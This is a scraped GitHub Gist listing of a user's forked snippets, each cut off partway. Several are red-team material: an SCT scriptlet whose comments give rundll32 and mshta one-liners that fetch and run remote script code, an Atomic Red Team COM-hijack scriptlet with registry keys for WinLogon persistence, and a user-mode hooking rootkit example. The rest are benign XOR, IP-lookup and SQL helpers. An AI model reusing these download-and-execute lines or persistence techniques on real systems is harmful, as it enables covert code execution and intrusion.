Skip to content

Instantly share code, notes, and snippets.

@2010phenix
2010phenix / scriptlet.sct
Created June 29, 2018 12:16 — forked from Arno0x/scriptlet.sct
Scriplet that can be executed by mshta or rundll32 for arbitrary code execution
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
@2010phenix
2010phenix / getmyip.go
Created April 29, 2018 16:11 — forked from jniltinho/getmyip.go
Get My IP External/Internal
package main
/*
Usage of ./getmyip --get_ip=(external|internal)
URL: http://myexternalip.com/#golang
URL: http://changsijay.com/2013/07/28/golang-get-ip-address/
*/
@2010phenix
2010phenix / AtomicRedTeam.sct
Created March 26, 2018 21:57 — forked from johnjohnsp1/AtomicRedTeam.sct
Sample COM Hijacking Atomic Red Team Test
<?XML version="1.0"?>
<scriptlet>
<registration
description="AtomicRedTeam"
progid="AtomicRedTeam"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
@2010phenix
2010phenix / Injectable.cpp
Created March 26, 2018 21:53 — forked from johnjohnsp1/Injectable.cpp
Simple UserMode Hook Example
#include <windows.h>
#include <stdio.h>
FARPROC fpCreateProcessW;
BYTE bSavedByte;
// Blog Post Here:
// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
// tasklist | findstr explore.exe
@2010phenix
2010phenix / winlogon.reg
Last active March 26, 2018 21:50 — forked from anonymous/winlogon.reg
WinLogon Windows 7 x64 COM Hijack
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@2010phenix
2010phenix / decrypt.c
Created October 1, 2017 19:30 — forked from thearcanum/decrypt.c
Decryption du mail XOR LCG
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#define N 256
uint8_t *msg;
uint32_t size;
@2010phenix
2010phenix / xor.c
Created October 1, 2017 19:24 — forked from ioncodes/xor.c
xor two strings in c
#include <stdio.h>
#include <memory.h>
#include <stdlib.h>
#define LENGTH 5
void xor(char const value1[LENGTH], char const value2[LENGTH], char *xored[LENGTH]) {
for(int i=0; i<LENGTH; ++i) {
xored[i] = (char)(value1[i] ^ value2[i]);
}
@2010phenix
2010phenix / xor.c
Created October 1, 2017 19:23 — forked from albinoloverats/xor.c
XOR two files together
/*
* gcc -std=gnu99 -O2 -s -o otp otp.c
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
@2010phenix
2010phenix / secret.c
Created October 1, 2017 19:05 — forked from pwseo/secret.c
Simple xor encrypter/decrypter
// Secret
// António Pedro Cunha, 2012
//
// compile with gcc -std=c99 -o secret secret.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
/// <summary>
/// Adds Create Database permission for the built-in Windows Authenticated Users group if it can.
/// </summary>
public static void AddPermissionAuthenticatedUsersCreateDb(string Server)
{
Log.Trace($"Trying to add create database permission for authenticated users group on server: {Server}");
string SqlcmdLogFile = @"${specialfolder:CommonApplicationData}\" +
Application.CompanyName + @"\" +
Application.ProductName + @"\" +
@"Data\SqlCmd.log";